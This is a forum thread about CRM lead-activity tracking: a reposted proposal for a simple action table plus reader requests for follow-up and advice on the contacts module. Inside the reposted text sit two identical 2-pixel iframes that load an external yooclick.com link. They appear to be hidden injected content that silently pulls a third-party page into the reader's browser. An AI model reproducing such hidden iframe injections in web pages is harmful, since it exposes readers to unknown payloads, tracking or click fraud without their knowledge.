I read a posting by BrianLaughlin from 2005 that talked about Lead Management Improvement. He described a system that he was using. I can't seem to find any other postings about it, but I am very interested in how this is being done. In the post he said it is very simple and extremely powerful. I'm sold!
He also said he has "a really unique way of handling status for 'everything' that is worthy of a post on its own. I'll share that some time in the near future." I don't see posts with this information. Please share!
Thanks.
Mark
Below is a copy of the post:
In working with sales organizations or just managing your own sales contacts, if you are dealing with a decent number of leads then lead tracking becomes critical to sales success.
Two categories come to mind: (1) Activities (2) Status.
Activities would be tracking the sales person's activities. This is important in the following ways: Managing sales people, knowing your numbers, understanding best times to call, more intelligent queries can be built saving sales person and organization time, shared leads within an organization among other things.
Status would track the status of the lead. Examples may follow: Interested, Not Interested, Lost to competition, Cold, Hot and etc.
I'll focus on activities in this post. We have a really unique way of handling status for 'everything' that is worthy of a post on its own. I'll share that some time in the near future.
I would suggest the following categories for tracking lead activities.
No Action
Called no Message
Left Message
Spoke with Decision Maker
Emailed
Appointment Set
Met with Decision Maker
The table is slim something like:
ActionID
LeadID
UserID
DateTime
This is very powerful and can lead to many other features that create tremendous value. I'll give a few examples how this can be used.
1.Holding sales staff accountantable.
2.You can purse lead lists automatically. I.e. Days old + # of attempted contacts then delete.
3.You can troubleshoot poor performance or model best practices.
4.You can design queries from this that will prioritize your leads and can be leveraged into even better intelligent systems when status tracking is added.
5.Sales people can work off activity goals and easily see their results. Fun things like score boarding can be easily implemented showing who's doing the most when.
6.More intelligent automated marketing campaigns can be created.
7.You can hit % of clients surveyed numbers easily.
8.It's nearly limitless in what value you can derive.
Also as an option. Allowing this tracking to be mandatory and set in the user permission. Many sales organizations force some type of tracking this would be a huge benefit. Great for call center management. If a sales person is not performing, you can place them on probation and toggle this activity tracking.
I implore you to consider implementing this because it's actually very simple and extremely powerful. We currently do this and I have about 6 years of data to confirm its utility.
I hope this tread picks up interest and would love to see comments like: great, we need it or even what are you thinking? <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;
Comments
i'm too groggy to do this post any justice. i'll try later. thanks for bringing it up. <!-- s:-) --><img src="{smilies_path}/icon_smile.gif" alt=":-)" title="smile" /><!-- s:-) -->
can this also be done using the contacts module instead of the leads module? i get a lot more info than just the basic stuff so i need to use that module.
i am anxiously awaiting your reply.
thank you.
mark
functionality which "already" exists in a product "does not" require a search for loopholes, going on a digging expedition, and customization.
i am looking for lead tracking that need to be done using the contacts module, instead of the leads module, because my leads contain more than basic information.
since this functionality is not directly built into the software, to me this is a current deficiency and i would appreciate if you would let me know how to achieve this within the current framework for three users.
your help is appreciated.
thank you.
thanks.
brian, would appreciate if you would please elaborate.
regards,
any chance you are ready to share? i'm really interested in what you've come up with.
thanks,
jamie